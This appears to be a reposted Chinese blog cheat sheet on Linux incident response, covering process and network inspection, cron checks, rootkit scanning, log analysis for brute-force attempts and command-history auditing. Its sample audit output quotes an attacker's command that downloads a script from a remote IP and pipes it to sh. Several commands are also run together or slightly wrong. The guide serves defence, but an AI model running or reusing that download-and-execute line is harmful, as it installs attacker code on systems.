Linux应急响应

1.识别现象

top   /  ps -aux 

监控与目标IP通信的进程

while true; do netstat -antp | grep [ip]; done

若恶意IP变化,恶意域名不变,使用host文件添加一条规则
查找有无恶意命令

history

清除可疑进程的进程链

ps -elf | grep [pid] kill -9 [pid]

定位病毒进程对应的文件路径

ls -al /proc/[pid]/exe rm -f [exe_path]

2.闭环兜底

crontab -l
cat/etc/anacrontab
service--status-all

枚举系统文件夹的文件,按修改事件排序查看7天内被修改过的文件

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la

监控守护进程的行为

lsof-p[pid]
strace-tt-T -etrace=all-p$pid

3.扫描是否存在恶意驱动

枚举/扫描系统驱动 lsmod
安装chkrootkit进行扫描

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztar zxvf chkrootkit.tar.gzcd chkrootkit-0.52make sense./chkrootkit

安装rkhunter进行扫描

Wgethttps://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c

查询log主机登陆日志

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

定位有爆破的源IP

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破日志的用户名密码

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

4.添加命令审计

保存1万条命令

sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
在/etc/profile的文件尾部添加如下行数配置信息
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"

让配置生效

source /etc/profile

生成效果

762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-http://103.219.112.66:8000/i.sh) | sh

猜你喜欢

转载自www.cnblogs.com/kylingx/p/11996846.html